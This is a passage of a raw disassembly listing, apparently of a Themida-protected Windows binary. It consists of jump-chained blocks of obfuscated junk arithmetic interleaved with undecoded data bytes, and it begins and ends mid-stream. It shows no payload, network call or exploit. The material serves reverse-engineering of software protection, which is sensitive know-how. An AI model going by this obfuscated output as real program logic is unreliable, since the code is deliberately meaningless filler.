dd 0FF224FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55603D: ; CODE XREF: Themida_:00546FCBj xor [esp], ecx xor ecx, [esp] pop esp jmp loc_548FA5 ; --------------------------------------------------------------------------- loc_556049: ; CODE XREF: Themida_:00544EE2j mov eax, [esp] add esp, 4 add ebx, 4 push ebx push dword ptr [esp+4] jmp loc_546118 ; --------------------------------------------------------------------------- loc_55605F: ; CODE XREF: Themida_:00549BEFj pop eax push ebp push esp pop ebp sub esp, 4 mov [esp], edi mov edi, 7EC95211h sub esp, 4 mov [esp], edx mov edx, 1B7C0566h push ecx push esi mov esi, 68BE5E86h neg esi and esi, 4FE311C9h sub esi, 46E15124h xor esi, 9FF38064h mov ecx, esi jmp loc_552755 ; --------------------------------------------------------------------------- dw 34FFh dd 24148B24h, 4C481h, 0C4810000h, 4, 565D5455h, 4BEh, 8BF50100h dd 0C4832434h, 0D87FE904h, 489FFFEh, 0E9585424h, 0FFFF783Eh dd 0E924048Bh, 0FFFFAF14h, 54240489h, 0FF4926E9h, 1C875EFFh dd 0E95F5C24h, 0FFFFBE92h ; --------------------------------------------------------------------------- loc_5560EC: ; CODE XREF: Themida_:0054A064j mov ebx, 52251A69h sub ebx, 25E91FF9h not ebx jmp loc_54382E ; --------------------------------------------------------------------------- dw 0C483h dd 4C38104h, 68000000h, 4259h, 0BD242C89h, 530D6EB9h, 6B0E9h dd 24048F00h, 0FF0E3EE9h db 0FFh ; --------------------------------------------------------------------------- loc_556121: ; CODE XREF: Themida_:00545C22j add esi, 4051802Ah jmp loc_54E138 ; --------------------------------------------------------------------------- loc_55612C: ; CODE XREF: Themida_:00551AB7j push 10CDh jmp loc_5470EE ; --------------------------------------------------------------------------- loc_556136: ; CODE XREF: Themida_:0054D475j pop eax xor edx, edi mov edi, [esp] jmp loc_54A925 ; --------------------------------------------------------------------------- loc_556141: ; CODE XREF: Themida_:0054A2F8j pop ebx dec dh not dh sub dh, 1Bh and dh, 9Ah sub dh, 0AFh xor dh, 9Ch mov bl, dh push dword ptr [esp] pop edx add esp, 4 push ecx jmp loc_54BFA6 ; --------------------------------------------------------------------------- db 68h, 5Eh, 64h dd 0E2E90000h, 51FFFFB0h, 0FFEA9BE9h, 4C481FFh, 55000000h dd 46EEBA52h, 5D52625Ah, 0EAF5815Ah, 0E9625A46h, 0FFFF3B95h dd 5BB2EA80h, 0C280EA28h, 240C8B7Dh, 0E9E28952h, 0FFFF4E1Ah dd 0C6885251h, 88F08850h, 0E95A58C1h, 0FFFEF15Bh, 8B240C87h dd 8B662424h, 89562404h, 46851E6h, 8B000000h, 0C483240Ch dd 0F2AE904h, 0E5890000h, 4C581h, 0C5810000h, 4, 5C242C87h dd 4BA52h, 0D5010000h, 0FF5D74E9h, 0E9F000FFh, 0FFFFD440h dd 5704C483h, 4BFh, 5FFE0100h, 38E768h, 241C8900h, 0EB0A81BBh dd 8EBC125h, 0F704E3C1h, 0AC7AE9DBh, 34FFFFFFh, 68555824h dd 3928h, 89241489h, 0F8B850E2h, 0F726352Fh, 2E8C1D8h dd 8428C52Dh, 4E0C166h, 174C3405h, 0E9C20101h, 0FFFF4183h dd 511268h, 243C8900h, 7C59B168h, 243C8B1Ch, 8104C483h dd 0B32BEBF7h, 65C78133h, 0E93785D5h, 0D1Eh, 4C6835Ah dd 5C243487h, 0FF4568E9h, 77095BFFh, 2434FF1Ch, 0FF8A88E9h db 0FFh ; --------------------------------------------------------------------------- loc_556285: ; CODE XREF: Themida_:0054A92Ej push eax mov eax, esp push ebp mov ebp, 19DB5022h shl ebp, 6 jmp loc_555E2C ; --------------------------------------------------------------------------- loc_556296: ; CODE XREF: Themida_:0054E224j add esp, 4 push eax jmp loc_550FD4 ; --------------------------------------------------------------------------- dw 489h dd 6C2FB824h, 0C101FC09h, 3A5F358h, 66683862h, 0E9000035h dd 0FFFF1D25h, 1D8FB966h, 66CB0166h, 0E9240C8Bh, 0FFFFD60Fh dd 0FC51E953h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5562D2: ; CODE XREF: Themida_:00553066j add ebx, esi sub ebx, 0B4A7148h pop esi add ebx, 4 jmp loc_550E85 ; --------------------------------------------------------------------------- dw 0F000h dd 5A2434FFh, 0E9E08950h, 0FFFFDC91h ; --------------------------------------------------------------------------- loc_5562F4: ; CODE XREF: Themida_:00547571j mov esi, [esp] add esp, 4 push esi push edi jmp loc_54ABD6 ; --------------------------------------------------------------------------- dd 400F9968h, 0EF815F08h, 64637F86h, 0FED665E9h, 5A5452FFh dd 4C281h, 23E90000h, 9FFFED2h, 0C5CCE9F1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55632A: ; CODE XREF: Themida_:0055640Cj mov [esp], eax push edx mov dl, 60h shl dl, 5 xor dl, 1Bh mov al, dl jmp loc_548D07 ; --------------------------------------------------------------------------- loc_55633D: ; CODE XREF: Themida_:0054F0E9j push ebp jmp loc_5480B5 ; --------------------------------------------------------------------------- db 0B9h dd 4, 8359CF89h, 148904ECh, 1991BA24h, 0D12948DCh, 81F9015Ah dd 0DC1991C1h, 243C8B48h, 0FEF1CAE9h, 0EAC14AFFh, 4E2C107h dd 0E9FDC281h, 0D5015DFAh, 0FF7F06E9h, 240489FFh, 0FFA29AE9h db 0FFh ; --------------------------------------------------------------------------- loc_556385: ; CODE XREF: Themida_:00549EABj xchg ebp, [esp] pop esp or eax, eax jz loc_548325 push ebx mov ebx, 28h jmp loc_553DAB ; --------------------------------------------------------------------------- dd 83241C89h, 8F5404ECh, 4832404h, 0E95B0424h, 0FFFED248h dd 8324048Bh, 685604C4h, 4870h, 68240489h, 32735FE5h, 0C5895558h dd 0E95DEE89h, 0FFFFD6E3h, 4C481h, 0E9530000h, 0FFFF30F9h ; --------------------------------------------------------------------------- loc_5563DC: ; CODE XREF: Themida_:0054FA02j pop esi jmp loc_552794 ; --------------------------------------------------------------------------- loc_5563E2: ; CODE XREF: Themida_:00556A3Aj add edx, 4 xchg edx, [esp] pop esp add ebx, eax add ebx, 194D25ECh add ebx, 0D8310A6h sub esp, 2 mov [esp], bx push eax mov ah, 10h push 69C4h jmp loc_55632A ; --------------------------------------------------------------------------- db 0BDh, 0, 7Ah dd 6C2938EBh, 0CBE90824h, 0BBFFFFD3h, 50A30DCh, 650C381h dd 0DE0154A3h, 7CE9575Bh db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556433: ; CODE XREF: Themida_:00547F0Dj push edx push eax pop edx jmp loc_548DF5 ; --------------------------------------------------------------------------- loc_55643B: ; CODE XREF: Themida_:00549CC8j mov edi, ebx pop ebx jmp loc_548E83 ; --------------------------------------------------------------------------- db 0B9h dd 0C5C7701h, 42E6F181h, 0E18148ABh, 48E72AEh, 8108E1C1h dd 900D65C9h, 4C18173h, 3190DC18h, 0EB8959CDh, 5D2434FFh dd 8104C483h, 1C3h, 0C6BA5200h, 533A014Eh, 0D73A89BBh dd 0A697E972h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556486: ; CODE XREF: Themida_:0054A235j add edx, 0FFFFFFFFh sub edx, 1 shr edx, 2 sub edx, 1DB882B8h sub ecx, 467C1839h add ecx, edx add ecx, 467C1839h mov edx, [esp] add esp, 4 jmp loc_549C67 ; --------------------------------------------------------------------------- word_5564AE dw 8B66h ; DATA XREF: Themida_:00543188o dd 0E951240Ch, 0FFFFE775h ; --------------------------------------------------------------------------- loc_5564B8: ; CODE XREF: Themida_:0054CFD2j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_54644A ; --------------------------------------------------------------------------- loc_5564CC: ; CODE XREF: Themida_:0055583Dj and eax, edi mov edi, [esp] jmp loc_557787 ; --------------------------------------------------------------------------- dw 0D901h dd 0FF5E68E9h, 35DBBDFFh, 0EA29FB19h, 0FFC8A6E9h, 0CDADE9FFh dd 0F758FFFEh, 632CE9D9h, 60BEFFFFh, 0E902513Dh, 0FFFF7386h dd 0AF3EB12Dh, 5D80113h, 13AF3EB1h, 5D54555Bh, 2D23E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556516: ; CODE XREF: Themida_:00548F0Cj sub ebx, ecx pop ecx or ebx, 3D7D61CDh push eax mov eax, 0C96D71A9h add ebx, eax pop eax add ecx, 39862702h sub ecx, ebx sub ecx, 39862702h mov ebx, [esp] add esp, 4 jmp loc_544BCD ; --------------------------------------------------------------------------- db 4Ah, 81h, 0C2h dd 118CA57Dh, 55E8E953h, 148BFFFFh, 4C48124h, 0BA000000h dd 47626215h, 5A2FBE56h, 0C1462E65h, 0ADE902EEh, 68FFFF64h dd 3FC3h, 0BF243C89h, 13B30D23h, 36860068h, 0A095E953h dd 8853FFFFh, 8BFE88CFh, 0C483241Ch, 8BF08804h, 0C4832414h dd 8BC38804h, 54522404h, 0FFE19EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5565A1: ; CODE XREF: Themida_:00555361j mov ebx, [esp] push edi jmp loc_5459B4 ; --------------------------------------------------------------------------- loc_5565AA: ; CODE XREF: Themida_:005455C0j push 10A7h mov [esp], esi mov esi, 2 add ecx, esi push dword ptr [esp] pop esi add esp, 4 push ecx jmp loc_54AC9E ; --------------------------------------------------------------------------- dw 565Ch dd 2266850h, 0E9585F6Eh, 0FFFF7B1Ch ; --------------------------------------------------------------------------- loc_5565D4: ; CODE XREF: Themida_:005538F1j push 47A326CAh pop edx add edx, 71821E2h sub edx, 7402C07h shl edx, 4 add edx, 0CAD0AD65h mov edi, edx pop edx not edi sub edi, 0BD7D8846h jmp loc_546A80 ; --------------------------------------------------------------------------- db 5Ah dd 4A6FC781h, 0C8B5755h, 4C48124h, 83000000h, 3C8704EFh dd 0E259E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55661A: ; CODE XREF: Themida_:00552B80j push ebp jmp loc_55684E ; --------------------------------------------------------------------------- loc_556620: ; CODE XREF: Themida_:0054D5F1j add ebx, ebp sub ebx, 0FA10791h jmp loc_54C2B9 ; --------------------------------------------------------------------------- db 4Dh, 0F7h, 0D5h dd 13C8C581h, 0E9550A3Dh, 14F4h, 5DBDBA52h, 0D0214CF3h dd 0FF751AE9h, 96D6F7FFh, 1A7AB425h, 5E0C159h, 4EC8140h dd 89000000h, 0EC812414h, 4, 0E9243489h, 0FFFFE910h ; --------------------------------------------------------------------------- loc_55666C: ; CODE XREF: Themida_:0054B784j mov al, 17h add al, 3Eh add dl, 48h add dl, al sub dl, 48h jmp loc_54A60B ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 5366240Ch, 0F98864B7h, 241C8B66h, 5E08950h dd 4, 0FEEE34E9h db 0FFh ; --------------------------------------------------------------------------- loc_55669D: ; CODE XREF: Themida_:005518E2j add edx, esi sub edx, 732E19B8h mov esi, [esp] jmp loc_54F9F2 ; --------------------------------------------------------------------------- loc_5566AD: ; CODE XREF: Themida_:0054E731j xor [esp], edx jmp loc_55258B ; --------------------------------------------------------------------------- db 66h, 5Fh, 66h dd 6624048Fh, 5166CF87h, 2414F766h, 240C8B66h, 6602C483h dd 0A9E9CF87h, 89FFFF1Ch, 3DE92404h, 8FFFEFFh, 24048BC6h dd 4C481h, 51660000h, 0EE0011B5h, 0FF8A0FE9h, 94FBDFFh dd 0B5BF7112h, 18A6CF6h, 0FB015DEFh, 81243C8Bh, 4C4h, 8BDD0100h dd 0C481241Ch, 4, 0E9242C87h, 0FFFF9FDCh, 0F75EF721h, 3EFC1D7h dd 8303E7C1h, 0D7E901EFh db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_55672F: ; CODE XREF: Themida_:00551B33j push dword ptr [esp] pop ebx jmp loc_556A3F ; --------------------------------------------------------------------------- loc_556738: ; CODE XREF: Themida_:00556C16j add esp, 4 push ecx xor dword ptr [esp], 18E45DD3h mov eax, [esp] add esp, 4 xor eax, 18E45DD3h jmp loc_5575BB ; --------------------------------------------------------------------------- db 5Dh dd 39F895B9h, 1B55E9FAh, 0B8680000h, 0E9000049h, 0FFFF7633h dd 2124248Bh, 2434FFF8h, 83243C8Bh, 0C48304C4h, 0FC00904h dd 0FFF67684h, 435268FFh, 0B1E90000h, 8B00000Eh, 0C4832404h dd 0EC835504h, 24248904h, 796DB951h, 0C181785Dh, 40B121CEh dd 9B37E981h, 4C01B90Eh, 0C8B0424h, 4C48124h, 0E9000000h dd 0FFFF558Eh, 5DDB68h, 240C8900h, 0FF8DF6E9h, 0ED814DFFh dd 48834235h, 691DF581h, 0ED81510Dh, 5B87459Ah, 2C8BEB01h dd 4C48124h, 53000000h, 42474FFh, 24048F5Bh, 66C3315Ch dd 6600B60Fh, 666E9B68h, 0E9240489h, 0FFFECA97h ; --------------------------------------------------------------------------- loc_556804: ; CODE XREF: Themida_:00555E0Cj push ecx push dword ptr [esp+4] jmp loc_55447F ; --------------------------------------------------------------------------- loc_55680E: ; CODE XREF: Themida_:00547E90j push ax mov al, dl dec al mov dl, al pop ax push ax mov al, 0E7h jmp loc_551B61 ; --------------------------------------------------------------------------- loc_556821: ; CODE XREF: Themida_:005500E0j neg ebx and ebx, 3D163C1Fh jmp loc_54E086 ; --------------------------------------------------------------------------- dw 0C483h dd 0FA12E904h, 0F131FFFFh, 0ABC2815Eh, 1495F64h, 0BD83E9CAh dd 0C483FFFFh, 1149E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55684E: ; CODE XREF: Themida_:0055661Bj mov ebp, esp add ebp, 4 jmp loc_54B582 ; --------------------------------------------------------------------------- db 52h dd 0FFB35CE9h db 0FFh ; --------------------------------------------------------------------------- loc_556861: ; CODE XREF: Themida_:00549FA4j add eax, edi pop edi jmp loc_54AA2E ; --------------------------------------------------------------------------- loc_556869: ; CODE XREF: Themida_:005491ABj add ebp, 4 xchg ebp, [esp] pop esp and eax, ebp pop ebp or edx, eax shl edx, 1 jmp loc_54EA22 ; --------------------------------------------------------------------------- dd 0EC34B104h, 0E7E9C700h, 25FFFED9h, 17E766F5h, 8308E8C1h dd 7768FFC0h, 8900004Fh, 3BB9240Ch, 0E972B143h, 0FFFEEF47h dd 4C4835Ah, 4EC8353h, 83242489h, 5B042404h, 0FF0B61E9h dd 0E9C129FFh, 0FFFF3484h ; --------------------------------------------------------------------------- loc_5568C0: ; CODE XREF: Themida_:0054C5EEj pop eax add ecx, esi pop esi add ecx, 792873E1h push edx push 5B8A7CBBh mov edx, [esp] jmp loc_54F0D8 ; --------------------------------------------------------------------------- dd 1D9F68h, 24048900h, 0E15431B8h, 0ABC28149h, 81280852h dd 0E30C4EEAh, 51C22957h, 9A6631B9h, 1DC18124h, 13348A6h dd 0B46859CAh, 8900002Eh, 0ABBE2434h, 81280852h, 0F64BF7EAh dd 81F2294Eh, 0F64BF7C2h, 48B5E4Eh, 4EC8324h, 54240489h dd 40558h, 0C0830000h, 24043304h, 33240431h, 0E95C2404h dd 0FFFEC95Bh, 4EC81h, 4890000h, 65ABB824h, 0C6810F13h dd 1B753995h, 0EE81C629h, 1B753995h, 81FE0158h, 1365ABC6h dd 6F6E90Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55696A: ; CODE XREF: Themida_:0054AB9Ej pop edi add esp, 4 or edi, 25074DD7h push ebx mov ebx, 8810B22Ah sub edi, 4DE66150h add edi, ebx add edi, 4DE66150h pop ebx push 1FE8h mov [esp], edi xor dword ptr [esp], 2CA821DEh pop ebp push ecx push ebx mov ebx, 7D2D509Bh push esi mov esi, ebx mov ecx, esi jmp loc_54C917 ; --------------------------------------------------------------------------- dw 0EF81h dd 372C3E31h, 6246BE56h, 0F7012E40h, 8324348Bh, 0B85004C4h dd 7B5D4ADDh, 287D9925h, 2CB1350Ch, 0EF816DFEh, 6D0226DAh dd 0C781C729h, 6D0226DAh, 2434FF58h, 28E95359h, 81FFFF0Dh dd 4C4h, 0B3535200h, 0E995B653h, 0FFFF5A0Eh, 4245C29h dd 0E9241C8Bh, 0FFFF4A0Dh ; --------------------------------------------------------------------------- loc_556A04: ; CODE XREF: Themida_:0054AF5Bj pop esi pop dword ptr [esp] push dword ptr [esp] pop edx jmp loc_54DEFB ; --------------------------------------------------------------------------- db 1, 0F1h, 5Eh dd 0FF0E07E9h db 0FFh ; --------------------------------------------------------------------------- loc_556A19: ; CODE XREF: Themida_:00552E70j mov edi, 52B336DCh and ecx, edi jmp loc_5548FB ; --------------------------------------------------------------------------- loc_556A25: ; CODE XREF: Themida_:0054DEB2j push ebx push eax jmp loc_555B48 ; --------------------------------------------------------------------------- loc_556A2C: ; CODE XREF: Themida_:0054C69Ej sub ebx, edx mov edx, [esp] push edx mov edx, esp add edx, 4 jmp loc_5563E2 ; --------------------------------------------------------------------------- loc_556A3F: ; CODE XREF: Themida_:00556733j add esp, 4 jmp loc_5579C9 ; --------------------------------------------------------------------------- db 4 dd 58C300AEh, 284FF380h, 241C8BDEh, 4C483h, 0C6305AF0h dd 4B0458h, 5A4B2CF0h, 54E968h, 240C8900h, 52509CB5h, 0DEF634B6h dd 6602EC83h, 0B0240489h, 0E9C62035h, 0FFFF7BF7h, 214AED81h dd 1E9B9DAh, 0FFFFFF48h, 91E92434h, 80FFFF36h, 0F38034EBh dd 0B353522Eh, 280BB6C3h, 42E95BDEh db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556AAB: ; CODE XREF: Themida_:00556B42j shl ecx, 8 sub ecx, 0FFFFFFFFh jmp loc_54BBF1 ; --------------------------------------------------------------------------- db 30h, 0CBh, 0E9h dd 0FFFFA62Ch, 6EDC15Dh, 457D68h, 240C8900h, 67216852h dd 10E93877h, 29FFFF5Fh, 0E5815BDDh, 66F3238Ah, 0FF281CE9h dd 4C681FFh, 53000000h, 0DCABF57h, 0D5E97767h db 6Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556AF7: ; CODE XREF: Themida_:00554CBCj sub esi, eax pop eax push 3484h jmp loc_547B16 ; --------------------------------------------------------------------------- dd 2404FF53h, 65EB815Bh, 171D6CDh, 68E95BDEh db 6Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556B17: ; CODE XREF: Themida_:00547D3Dj add ebp, 758A6302h and ecx, ebp pop ebp inc ecx add ecx, 0DFECB89Fh add esi, 6BA137ADh add esi, ecx jmp loc_547725 ; --------------------------------------------------------------------------- loc_556B34: ; CODE XREF: Themida_:0054A63Fj sub ebx, 7CC839CAh pop ebp push ecx mov ecx, 2120842h inc ecx jmp loc_556AAB ; --------------------------------------------------------------------------- db 81h dd 4C7h, 157E6800h, 7CE90000h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556B57: ; CODE XREF: Themida_:0054B1F2j pop ax mov cl, dl jmp loc_54FFA9 ; --------------------------------------------------------------------------- dd 0E9241C89h, 0FFFFBE3Bh, 8B24048Fh, 34FF2424h, 2434FF24h dd 54E95659h, 81FFFF26h, 42D1EFC3h, 5BDE29ECh, 8B243487h dd 89662424h, 73E9240Ch db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556B93: ; CODE XREF: Themida_:00555861j add ebp, 6C943F59h pop eax push ebp push dword ptr [esp+4] pop ebp jmp loc_5453FA ; --------------------------------------------------------------------------- db 54h, 0E9h, 0E4h dd 52FFFF8Fh, 0FF7602E9h db 0FFh ; --------------------------------------------------------------------------- loc_556BB1: ; CODE XREF: Themida_:00552C85j push ecx mov ch, bh mov dh, ch pop ecx mov [edi+eax*4], dh pop edx jmp loc_547707 ; --------------------------------------------------------------------------- dd 164595BDh, 2444810Dh, 186CA308h, 7CF4E976h, 565BFFFFh dd 0DFE9E689h db 5Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556BDB: ; CODE XREF: Themida_:005517E6j mov esi, 3E662E98h jmp loc_54DBDB ; --------------------------------------------------------------------------- loc_556BE5: ; CODE XREF: Themida_:00551534j sub eax, 60D25F68h pop ebp add eax, esi add eax, 56B3BD0h pop esi push edi mov edi, 61B70D42h add edi, 67064026h jmp loc_54AB73 ; --------------------------------------------------------------------------- loc_556C04: ; CODE XREF: Themida_:0054DD44j mov [esp], ebx jmp loc_5481CD ; --------------------------------------------------------------------------- loc_556C0C: ; CODE XREF: Themida_:0054E153j mov ebx, 76463F30h xor ecx, ebx mov ebx, [esp] jmp loc_556738 ; --------------------------------------------------------------------------- db 0Dh dd 58586161h, 0FF287DE9h, 4BFFFh, 0E9810000h, 1C672988h dd 6BE9F901h db 0Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556C37: ; CODE XREF: Themida_:0054B3E5j push 4AE1h mov [esp], edi mov edi, 6E945B28h add [esp+8], edi jmp loc_54755A ; --------------------------------------------------------------------------- loc_556C4D: ; CODE XREF: Themida_:0054805Cj pop esp sub esp, 4 mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ebp mov ebp, 19713B6Fh push 1DF4h jmp loc_54A92B ; --------------------------------------------------------------------------- db 0BDh dd 4, 0FF7931E9h, 4C481FFh, 50000000h, 3B85057h, 0E932CD0Ah dd 0FFFEDA91h, 4C481h, 0C4830000h, 7F53E904h, 815AFFFFh dd 4C2h, 4C28300h, 8B241487h, 31E92424h, 81FFFF3Ah, 4C4h dd 0E7895700h, 4C781h, 9BE90000h, 50FFFF06h, 1BE968h, 84C2E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556CD6: ; CODE XREF: Themida_:00549D8Cj not esi shr esi, 5 sub esi, 0CD82AA27h and edi, esi pop esi jmp loc_555F3D ; --------------------------------------------------------------------------- loc_556CE9: ; CODE XREF: Themida_:00546CFDj push esi push edx push edi mov edi, 4C71064h mov edx, edi jmp loc_54F68D ; --------------------------------------------------------------------------- loc_556CF8: ; CODE XREF: Themida_:00547D52j mov [esp], eax jmp loc_550D7E ; --------------------------------------------------------------------------- loc_556D00: ; CODE XREF: Themida_:0055217Fj add edi, 0A7A580Ah sub edi, ebx sub edi, 0A7A580Ah mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], ecx jmp loc_549E47 ; --------------------------------------------------------------------------- dw 8B05h dd 0FF472729h, 83592434h, 0C33104C4h, 0FEDA05E9h db 0FFh byte_556D35 db 0FFh, 74h, 24h ; DATA XREF: Themida_:00543198o dd 2434FF04h, 8B2434FFh db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push esi mov esi, 2C7675FEh xor esi, 2C7675FAh add ebp, 0C51211Ah add ebp, esi sub ebp, 0C51211Ah jmp loc_545BF0 ; --------------------------------------------------------------------------- dw 8166h dd 663F3AF3h, 666A2C68h, 66241489h, 6616A7BAh, 3C7EB81h dd 0FFE201E9h db 0FFh ; --------------------------------------------------------------------------- loc_556D85: ; CODE XREF: Themida_:00555A59j pop edi push dword ptr [esp] pop ecx jmp loc_553C9D ; --------------------------------------------------------------------------- loc_556D8F: ; CODE XREF: Themida_:00547361j not ebx jmp loc_54B374 ; --------------------------------------------------------------------------- loc_556D96: ; CODE XREF: Themida_:0054987Dj push 57FC5975h pop ebp jmp loc_557068 ; --------------------------------------------------------------------------- loc_556DA1: ; CODE XREF: Themida_:00554616j mov ebx, [esp] add esp, 4 push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] shl eax, cl sub esp, 4 jmp loc_549872 ; --------------------------------------------------------------------------- db 31h dd 0E5C158C5h, 6BF58103h, 2941AF70h, 2434FFE8h, 0AEE0E95Dh dd 0C781FFFFh, 4, 4EF81h, 3C330000h, 243C3124h, 0E9243C33h dd 0FFFF293Dh, 56BD68h, 47AAE900h, 0BA52FFFFh, 0C953ECFFh dd 815AD731h, 29488AEEh, 81FE2932h, 29488AC6h, 2434FF32h dd 0FFD826E9h db 0FFh ; --------------------------------------------------------------------------- loc_556E25: ; CODE XREF: Themida_:00557B98j sub esp, 4 mov [esp], ebx mov ebx, 0F82CF2h sub eax, ebx pop ebx jmp loc_5512BB ; --------------------------------------------------------------------------- align 4 dd 8AF3E9F8h, 4BAFFFFh, 1000000h, 0BB535AD5h, 236F3BA5h dd 0FF6288E9h db 0FFh ; --------------------------------------------------------------------------- loc_556E55: ; CODE XREF: Themida_:00549CA2j or eax, 6C851AD9h sub eax, 1 add eax, 9CCFD6C6h mov ebx, eax pop eax or edx, ebx jmp loc_5471B1 ; --------------------------------------------------------------------------- loc_556E6E: ; CODE XREF: Themida_:0054803Fj neg edi jmp loc_546EA1 ; --------------------------------------------------------------------------- loc_556E75: ; CODE XREF: Themida_:0054BFFFj mov ebp, 70E25E8Fh not ebp and ebp, 34CD59F1h shl ebp, 2 inc ebp jmp loc_5532C4 ; --------------------------------------------------------------------------- loc_556E8B: ; CODE XREF: Themida_:0054C0DDj pop eax add edi, ebx jmp loc_54C30C ; --------------------------------------------------------------------------- loc_556E93: ; CODE XREF: Themida_:005446A7j dec edx xor edx, 19FE1DDAh push edx push ebx pop edx pop ebx jmp loc_54C68F ; --------------------------------------------------------------------------- db 0FFh dd 8B042474h, 0C483240Ch, 24048F04h, 2434895Ch, 5153E689h dd 6EE7BE56h, 895313E2h, 5B5953F3h, 0FEE2F7E9h, 5E950FFh dd 53FFFF95h, 79706B68h, 0EB815B3Ch, 63E474F4h, 2B99C381h dd 0E3816D11h, 51054226h, 0FF6689E9h, 80CAFEFFh, 0F28001E2h dd 5AD32803h, 0FECDAFE9h db 0FFh ; --------------------------------------------------------------------------- loc_556EFD: ; CODE XREF: Themida_:00558273j sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebp push 38D45AB9h pop ebp jmp loc_546713 ; --------------------------------------------------------------------------- dw 3433h dd 14895C24h, 0E075E924h, 1C89FFFFh, 4EC8324h, 0FFC605E9h db 0FFh ; --------------------------------------------------------------------------- loc_556F29: ; CODE XREF: Themida_:0054A47Cj xor eax, 68C11C7Bh jmp loc_54824D ; --------------------------------------------------------------------------- db 8Bh dd 4892424h, 2B824h, 0C3810000h, 462C12B5h, 0EB81C329h dd 462C12B5h, 0FF43F2E9h, 0A7ED81FFh, 8B688523h, 0C483243Ch dd 242C3304h, 0FECD97E9h db 0FFh ; --------------------------------------------------------------------------- loc_556F65: ; CODE XREF: Themida_:005483AAj push esp pop eax jmp loc_5509BE ; --------------------------------------------------------------------------- dd 2BF7E95Ch, 0FD01FFFFh, 510AC581h, 815F398Ch, 4C5h, 242C8700h dd 80FAE95Ch, 0FB89FFFFh, 81C3815Fh, 811E5E01h, 6D0E85EBh dd 52F32936h, 640C32BAh, 81D2F74Bh, 0DD51ADF2h, 69EA811Dh dd 0E910383Fh, 0FFFF63D9h, 3D95F781h, 0C781643Fh, 76A660D9h dd 0FFA0B2E9h, 65E95BFFh, 89FFFFBBh, 4C681E6h, 0E9000000h dd 0FFFEE7B4h ; --------------------------------------------------------------------------- loc_556FD8: ; CODE XREF: Themida_:00551BAAj mov ebp, 4 jmp loc_55405E ; --------------------------------------------------------------------------- dw 0E95Ch dd 0FFFFA86Ah ; --------------------------------------------------------------------------- loc_556FE8: ; CODE XREF: Themida_:00547C17j mov [esp], ebx mov ebx, 1F933509h mov esi, 66F9AB4Dh push edx mov edx, 244F20D1h add esi, edx pop edx sub esi, ebx sub esi, 244F20D1h pop ebx jmp loc_547219 ; --------------------------------------------------------------------------- dd 54240C89h, 0E85EE959h, 489FFFFh, 274BE924h, 815FFFFFh dd 2ECh, 2C896600h, 2C816624h, 66FFFF24h, 0BB66535Dh, 81666994h dd 6672D8CBh, 6266EB81h, 5BDD2966h, 8BE83166h, 0C481242Ch dd 4, 50E068h, 2BEDE900h, 0EBC1FFFFh, 0BCF38106h, 0E974D0A5h dd 0FFFFF46Eh ; --------------------------------------------------------------------------- loc_557068: ; CODE XREF: Themida_:00556D9Cj or ebp, 4A2E6BC1h not ebp dec ebp shr ebp, 5 jmp loc_548BA8 ; --------------------------------------------------------------------------- db 29h, 0E8h, 5Dh dd 5C240487h, 2DA76866h, 0FF216DE9h, 0E68956FFh, 4C681h dd 0C6810000h, 4, 5C243487h, 41195205h, 0FFC189FCh, 1FE92434h dd 8BFFFF36h, 0C483240Ch, 20796804h, 14890000h, 38E1E924h dd 0A568FFFFh, 8900006Eh, 0E4B42404h, 8904EC83h, 0E951241Ch dd 0FFFF20B4h ; --------------------------------------------------------------------------- loc_5570D4: ; CODE XREF: Themida_:00549B9Aj mov edx, esi jmp loc_551E67 ; --------------------------------------------------------------------------- db 53h dd 8B2414F7h, 0C483241Ch, 57EB8104h, 8182DB9Fh, 12A3E9h dd 0E9D92932h, 0FFFED295h, 44F9EE81h, 0CE010804h, 44F9C681h dd 0D1E90804h db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55710B: ; CODE XREF: Themida_:005534EAj mov [esp], ecx mov ecx, 5D5F2B89h jmp loc_54EDC1 ; --------------------------------------------------------------------------- dd 81665F66h, 666E9CCFh, 0BFBE6656h, 0F731666Eh, 89665E66h dd 5E95FF9h, 0D2FFFFDEh, 0E99C240Ch, 0FFFEC15Fh ; --------------------------------------------------------------------------- loc_55713C: ; CODE XREF: Themida_:0055168Ej push esi push esp jmp loc_550E5D ; --------------------------------------------------------------------------- db 33h dd 0FDE92404h, 89FFFFA6h, 0E9E92424h, 1FFFF64h, 242C8BEBh dd 0FF912DE9h, 0E9C781FFh, 53568E48h, 8D54E2BBh, 6E3C11Fh dd 0FEF06DE9h, 8B665BFFh, 0C8E9241Ch, 89FFFFA3h, 4C181E1h dd 81000000h, 4E9h, 240C8700h, 0FECEFCE9h db 0FFh ; --------------------------------------------------------------------------- loc_557191: ; CODE XREF: Themida_:0054A878j mov esp, [esp] mov [esp], ecx jmp loc_550D18 ; --------------------------------------------------------------------------- dd 0CF305866h, 286C0459h, 